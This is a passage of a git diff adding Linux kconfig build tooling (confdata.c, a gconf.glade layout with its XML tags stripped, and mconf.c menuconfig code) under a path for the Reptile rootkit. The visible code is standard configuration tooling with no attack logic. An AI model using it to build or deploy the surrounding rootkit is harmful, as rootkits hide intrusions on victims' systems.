value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir("../..")) + return 1; + + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + + sym_clear_all_valid(); + + file_write_dep("include/config/auto.conf.cmd"); + + if (conf_split_config()) + return 1; + + out = fopen(".tmpconfig", "w"); + if (!out) + return 1; + + tristate = fopen(".tmpconfig_tristate", "w"); + if (!tristate) { + fclose(out); + return 1; + } + + out_h = fopen(".tmpconfig.h", "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + if (rename(".tmpconfig.h", name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + if (rename(".tmpconfig_tristate", name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + if (rename(".tmpconfig", name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv("KCONFIG_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade new file mode 100644 index 0000000..aa483cb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade @@ -0,0 +1,661 @@ + + + + + + True + Gtk Kernel Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False + 640 + 480 + True + False + True + False + False + GDK_WINDOW_TYPE_HINT_NORMAL + GDK_GRAVITY_NORTH_WEST + + + + + + + True + False + 0 + + + + True + + + + True + _File + True + + + + + + + True + Load a config file + _Load + True + + + + + + True + gtk-open + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in .config + _Save + True + + + + + + True + gtk-save + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in a file + Save _as + True + + + + + True + gtk-save-as + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + + + + + + True + _Quit + True + + + + + + True + gtk-quit + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + + True + _Options + True + + + + + + + True + Show name + Show _name + True + False + + + + + + + True + Show range (Y/M/N) + Show _range + True + False + + + + + + + True + Show value of the option + Show _data + True + False + + + + + + + True + + + + + + True + Show normal options + Show normal options + True + True + + + + + + + True + Show all options + Show all _options + True + False + set_option_mode1 + + + + + + + True + Show all options with prompts + Show all prompt options + True + False + set_option_mode1 + + + + + + + + + + + + True + _Help + True + + + + + + + True + _Introduction + True + + + + + + True + gtk-dialog-question + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _About + True + + + + + + True + gtk-properties + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _License + True + + + + + True + gtk-justify-fill + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + 0 + False + False + + + + + + True + GTK_SHADOW_OUT + GTK_POS_LEFT + GTK_POS_TOP + + + + True + GTK_ORIENTATION_HORIZONTAL + GTK_TOOLBAR_BOTH + True + True + + + + True + Goes up of one level (single view) + Back + True + gtk-undo + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Load a config file + Load + True + gtk-open + True + True + False + + + + False + True + + + + + + True + Save a config file + Save + True + gtk-save + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Single view + Single + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Split view + Split + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Full view + Full + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Collapse the whole tree in the right frame + Collapse + True + gtk-remove + True + True + False + + + + False + True + + + + + + True + Expand the whole tree in the right frame + Expand + True + gtk-add + True + True + False + + + + False + True + + + + + + + 0 + False + False + + + + + + 1 + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + GTK_POLICY_NEVER + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + False + False + True + GTK_JUSTIFY_LEFT + GTK_WRAP_WORD + True + 0 + 0 + 0 + 0 + 0 + 0 + Sorry, no help available for this option yet. + + + + + True + True + + + + + True + True + + + + + 0 + True + True + + + + + + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c new file mode 100644 index 0000000..59184bb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c @@ -0,0 +1,1037 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + * + * Introduced single menu mode (show all sub-menus in one large tree). + * 2002-11-06 Petr Baudis + * + * i18n, 2005, Arnaldo Carvalho de Melo + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" +#include "lxdialog/dialog.h" + +static const char mconf_readme[] = N_( +"Overview\n" +"--------\n" +"This interface lets you select features and parameters for the build.\n" +"Features can either be built-in, modularized, or ignored. Parameters\n" +"must be entered in as decimal or hexadecimal numbers or text.\n" +"\n" +"Menu items beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized (selected by other feature)\n" +" - - are selected by other feature,\n" +"while *, M or whitespace inside braces means to build in, build as\n" +"a module or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the cursor\n" +"keys and press to build it in, to make it a module or\n" +" to remove it. You may also press the to cycle\n" +"through the available options (i.e. Y->N->M->Y).\n" +"\n" +"Some additional keyboard hints:\n" +"\n" +"Menus\n" +"----------\n" +"o Use the Up/Down arrow keys (cursor keys) to highlight the item you\n" +" wish to change or the submenu you wish to select and press .\n" +" Submenus are designated by \"--->\", empty ones by \"----\".\n" +"\n" +" Shortcut: Press the option's highlighted letter (hotkey).\n" +" Pressing a hotkey more than once will sequence\n" +" through all visible items which use that hotkey.\n" +"\n" +" You may also use the and keys to scroll\n" +" unseen options into view.\n" +"\n" +"o To exit a menu use the cursor keys to highlight the button\n" +" and press .\n" +"\n" +" Shortcut: Press or or if there is no hotkey\n" +" using those letters. You may press a single , but\n" +" there is a delayed response which you may find annoying.\n" +"\n" +" Also, the and cursor keys will cycle between and\n" +" \n" +"\n" +"\n" +"Data Entry\n" +"-----------\n" +"o Enter the requested information and press \n" +" If you are entering hexadecimal values, it is not necessary to\n" +" add the '0x' prefix to the entry.\n" +"\n" +"o For help, use the or cursor keys to highlight the help option\n" +" and press . You can try as well.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"--------\n" +"o Use the cursor keys to scroll up/down/left/right. The VI editor\n" +" keys h,j,k,l function here as do , , and for\n" +" those who are familiar with less and lynx.\n" +"\n" +"o Press , , , or to exit.\n" +"\n" +"\n" +"Alternate Configuration Files\n" +"-----------------------------\n" +"Menuconfig supports the use of alternate configuration files for\n" +"those who, for various reasons, find it necessary to switch\n" +"between different configurations.\n" +"\n" +"The button will let you save the current configuration to\n" +"a file of your choosing. Use the button to load a previously\n" +"saved alternate configuration.\n" +"\n" +"Even if you don't use alternate configuration files, but you find\n" +"during a Menuconfig session that you have completely messed up your\n" +"settings, you may use the button to restore your previously\n" +"saved settings from \".config\" without restarting Menuconfig.\n" +"\n" +"Other information\n" +"-----------------\n" +"If you use Menuconfig in an XTERM window, make sure you have your\n" +"$TERM variable set to point to an xterm definition which supports\n" +"color. Otherwise, Menuconfig will look rather bad. Menuconfig will\n" +"not display correctly in an RXVT window because rxvt displays only one\n" +"intensity of color, bright.\n" +"\n" +"Menuconfig will display larger menus on screens or xterms which are\n" +"set to display more than the standard 25 row by 80 column geometry.\n" +"In order for this to work, the \"stty size\" command must be able to\n" +"display the screen's current row and column geometry. I STRONGLY\n" +"RECOMMEND that you make sure you do NOT have the shell variables\n" +"LINES and COLUMNS exported into your environment. Some distributions\n" +"export those variables via /etc/profile. Some ncurses programs can\n" +"become confused when those variables (LINES & COLUMNS) don't reflect\n" +"the true screen size.\n" +"\n" +"Optional personality available\n" +"------------------------------\n" +"If you prefer to have all of the options listed in a single menu,\n" +"rather than the default multimenu hierarchy, run the menuconfig with\n" +"MENUCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make MENUCONFIG_MODE=single_menu menuconfig\n" +"\n" +" will then unroll the appropriate category, or enfold it if it\n" +"is already unrolled.\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive\n" +"(especially with a larger number of unrolled categories) than the\n" +"default mode.\n" +"\n" +"Different color themes available\n" +"--------------------------------\n" +"It is possible to select different color themes using the variable\n" +"MENUCONFIG_COLOR. To select a theme use:\n" +"\n" +"make MENUCONFIG_COLOR= menuconfig\n" +"\n" +"Available themes are\n" +" mono => selects colors suitable for monochrome displays\n" +" blackbg => selects a color scheme with black background\n" +" classic => theme with blue background. The classic look\n" +" bluetitle => an LCD friendly version of classic. (default)\n" +"\n"), +menu_instructions[] = N_( + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " + "Pressing includes, excludes, modularizes features. " + "Press to exit, for Help, for Search. " + "Legend: [*] built-in [ ] excluded module < > module capable"), +radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " + "followed by the . " + "Press for additional information about this option."), +inputbox_instructions_int[] = N_( + "Please enter a decimal value. " + "Fractions will not be accepted. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_hex[] = N_( + "Please enter a hexadecimal value. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_string[] = N_( + "Please enter a string value. " + "Use the key to move from the input field to the buttons below it."), +setmod_text[] = N_( + "This feature depends on another which has been configured as a module.\n" + "As a result, this feature will be built as a module."), +load_config_text[] = N_( + "Enter the name of the configuration file you wish to load. " + "Accept the name shown to restore the configuration you " + "last retrieved. Leave blank to abort."), +load_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep several different\n" + "configurations available on a single machine.\n" + "\n" + "If you have saved a previous configuration in a file other than the\n" + "default one, entering its name here will allow you to modify that\n" + "configuration.\n" + "\n" + "If you are uncertain, then you have probably never used alternate\n" + "configuration files. You should therefore leave this blank to abort.\n"), +save_config_text[] = N_( + "Enter a filename to which this configuration should be saved " + "as an alternate. Leave blank to abort."), +save_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep different configurations\n" + "available on a single machine.\n" + "\n" + "Entering a file name here will allow you to later retrieve, modify\n" + "and use the current configuration as an alternate to whatever\n" + "configuration options you have selected at that time.\n" + "\n" + "If you are uncertain what all this means then you should probably\n" + "leave this blank.\n"), +search_help[] = N_( + "\n" + "Search for symbols and display their relations.\n" + "Regular expressions are allowed.\n" + "Example: search for \"^FOO\"\n" + "Result:\n" + "-----------------------------------------------------------------\n" + "Symbol: FOO [=m]\n" + "Type : tristate\n" + "Prompt: Foo bus is used to drive the bar HW\n" + " Location:\n" + " -> Bus options (PCI, PCMCIA, EISA, ISA)\n" + " -> PCI support (PCI [=y])\n" + "(1) -> PCI access mode ( [=y])\n" + " Defined at drivers/pci/Kconfig:47\n" + " Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" + " Selects: LIBCRC32\n" + " Selected by: BAR [=n]\n" + "-----------------------------------------------------------------\n" + "o The line 'Type:' shows the type of the configuration option for\n" + " this symbol (boolean, tristate, string, ...)\n" + "o The line 'Prompt:' shows the text used in the menu structure for\n" + " this symbol\n" + "o The 'Defined at' line tells at what file / line number the symbol\n" + " is defined\n" + "o The 'Depends on:' line tells what symbols need to be defined for\n" + " this symbol to be visible in the menu (selectable)\n" + "o The 'Location:' lines tells where in the menu structure this symbol\n" + " is located\n" + " A location followed by a [=y] indicates that this is a\n" + " selectable menu item - and the current value is displayed inside\n" + " brackets.\n" + " Press the key in the (#) prefix to jump directly to that\n" + " location. You will be returned to the current search results\n" + " after exiting this new menu.\n" + "o The 'Selects:' line tells what symbols will be automatically\n" + " selected if this symbol is selected (y or m)\n" + "o The 'Selected by' line tells what symbol has selected this symbol\n" + "\n" + "Only relevant lines are shown.\n" + "\n\n" + "Search examples:\n" + "Examples: USB => find all symbols containing USB\n" + " ^USB => find all symbols starting with USB\n" + " USB$ => find all symbols ending with USB\n" + "\n"); + +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +static int show_all_options; +static int save_and_exit; + +static void conf(struct menu *menu, struct menu *active_menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static int show_textbox_ext(const char *title, char *text, int r, int c, + int *keys, int *vscroll, int *hscroll, + update_text_fn update_text, void *data); +static void show_textbox(const char *title, const char *text, int r, int c); +static void show_helptext(const char *title, const char *text); +static void show_help(struct menu *menu); + +static char filename[PATH_MAX+1]; +static void set_config_filename(const char *config_filename) +{ + static char menu_backtitle[PATH_MAX+128]; + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + set_dialog_backtitle(menu_backtitle); + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; +} + +struct subtitle_part { + struct list_head entries; + const char *text; +}; +static LIST_HEAD(trail); + +static struct subtitle_list *subtitles; +static void set_subtitle(void) +{ + struct subtitle_part *sp; + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + + subtitles = NULL; + list_for_each_entry(sp, &trail, entries) { + if (sp->text) { + if (pos) { + pos->next = xcalloc(sizeof(*pos), 1); + pos = pos->next; + } else { + subtitles = pos = xcalloc(sizeof(*pos), 1); + } + pos->text = sp->text; + } + } + + set_dialog_subtitles(subtitles); +} + +static void reset_subtitle(void) +{ + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + subtitles = NULL; + set_dialog_subtitles(subtitles); +} + +struct search_data { + struct list_head *head; + struct menu **targets; + int *keys; +}; + +static void update_text(char *buf, size_t start, size_t end, void *_data) +{ + struct search_data *data = _data; + struct jump_key *pos; + int k = 0; + + list_for_each_entry(pos, data->head, entries) { + if (pos->offset >= start && pos->offset < end) { + char header[4]; + + if (k < JUMP_NB) { + int key = '0' + (pos->index % JUMP_NB) + 1; + + sprintf(header, "(%c)", key); + data->keys[k] = key; + data->targets[k] = pos->target; + k++; + } else { + sprintf(header, " "); + } + + memcpy(buf + pos->offset, header, sizeof(header) - 1); + } + } + data->keys[k] = 0; +} + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres, vscroll = 0, hscroll = 0; + bool again; + struct gstr sttext; + struct subtitle_part stpart; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dialog_clear(); + dres = dialog_inputbox(_("Search Configuration Parameter"), + str_get(&title), + 10, 75, ""); + switch (dres) { + case 0: + break; + case 1: + show_helptext(_("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sttext = str_new(); + str_printf(&sttext, "Search (%s)", dialog_input_result); + stpart.text = str_get(&sttext); + list_add_tail(&stpart.entries, &trail); + + sym_arr = sym_re_search(dialog_input); + do { + LIST_HEAD(head); + struct menu *targets[JUMP_NB]; + int keys[JUMP_NB + 1], i; + struct search_data data = { + .head = &head, + .targets = targets, + .keys = keys, + }; + struct jump_key *pos, *tmp; + + res = get_relations_str(sym_arr, &head); + set_subtitle(); + dres = show_textbox_ext(_("Search Results"), (char *) + str_get(&res), 0, 0, keys, &vscroll, + &hscroll, &update_text, (void *) + &data); + again = false; + for (i = 0; i < JUMP_NB && keys[i]; i++) + if (dres == keys[i]) { + conf(targets[i]->parent, targets[i]); + again = true; + } + str_free(&res); + list_for_each_entry_safe(pos, tmp, &head, entries) + free(pos); + } while (again); + free(sym_arr); + str_free(&title); + list_del(trail.prev); + str_free(&sttext); +} + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + bool visible; + + /* + * note: menu_is_visible() has side effect that it will + * recalc the value of the symbol. + */ + visible = menu_is_visible(menu); + if (show_all_options && !menu_has_prompt(menu)) + return; + else if (!show_all_options && !visible) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + switch (prop->type) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make("%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(" %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + item_set_tag('m'); + item_set_data(menu); + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(" %*c*** %s ***", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + break; + default: + if (prompt) { + child_count++; + item_make("---%*c%s", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make("[%c]", val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + item_make("<%c>", ch); + break; + } + item_set_tag('t'); + item_set_data(menu); + } else { + item_make(" "); + item_set_tag(def_menu ? 't' : ':'); + item_set_data(menu); + } + + item_add_str("%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make("---%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + item_set_tag(':'); + item_set_data(menu); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(" "); + item_set_tag(':'); + item_set_data(menu); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make("[%c]", val == no ? ' ' : '*'); + else + item_make("-%c-", val == no ? ' ' : '*'); + item_set_tag('t'); + item_set_data(menu); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make("{%c}", ch); + else + item_make("<%c>", ch); + } else + item_make("-%c-", ch); + item_set_tag('t'); + item_set_data(menu); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); /* () = 2 */ + item_make("(%s)", sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + item_set_tag('s'); + item_set_data(menu); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void conf(struct menu *menu, struct menu *active_menu) +{ + struct menu *submenu; + const char *prompt = menu_get_prompt(menu); + struct subtitle_part stpart; + struct symbol *sym; + int res; + int s_scroll = 0; + + if (menu != &rootmenu) + stpart.text = menu_get_prompt(menu); + else + stpart.text = NULL; + list_add_tail(&stpart.entries, &trail); + + while (1) { + item_reset(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + set_subtitle(); + dialog_clear(); + res = dialog_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + active_menu, &s_scroll); + if (res == 1 || res == KEY_ESC || res == -ERRDISPLAYTOOSMALL) + break; + if (item_count() != 0) { + if (!item_activate_selected()) + continue; + if (!item_tag()) + continue; + } + submenu = item_data(); + active_menu = item_data(); + if (submenu) + sym = submenu->sym; + else + sym = NULL; + + switch (res) { + case 0: + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = (void *) (long) !submenu->data; + else + conf(submenu, NULL); + break; + case 't': + if (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt->type == P_MENU) + conf(submenu, NULL); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 2: + if (sym) + show_help(submenu); + else { + reset_subtitle(); + show_helptext(_("README"), _(mconf_readme)); + } + break; + case 3: + reset_subtitle(); + conf_save(); + break; + case 4: + reset_subtitle(); + conf_load(); + break; + case 5: + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + show_textbox(NULL, setmod_text, 6, 74); + } + break; + case 6: + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 7: + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + case 8: + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu, NULL); + break; + case 9: + search_conf(); + break; + case 10: + show_all_options = !show_all_options; + break; + } + } + + list_del(trail.prev); +} + +static int show_textbox_ext(const char *title, char *text, int r, int c, int + *keys, int *vscroll, int *hscroll, update_text_fn + update_text, void *data) +{ + dialog_clear(); + return dialog_textbox(title, text, r, c, keys, vscroll, hscroll, + update_text, data); +} + +static void show_textbox(const char *title, const char *text, int r, int c) +{ + show_textbox_ext(title, (char *) text, r, c, (int []) {0}, NULL, NULL, + NULL, NULL); +} + +static void show_helptext(const char *title, const char *text) +{ + show_textbox(title, text, 0, 0); +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[PATH_MAX+1]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + if (save_and_exit) + printf("%s", buf); + else + show_textbox(NULL, buf, 6, 60); +} 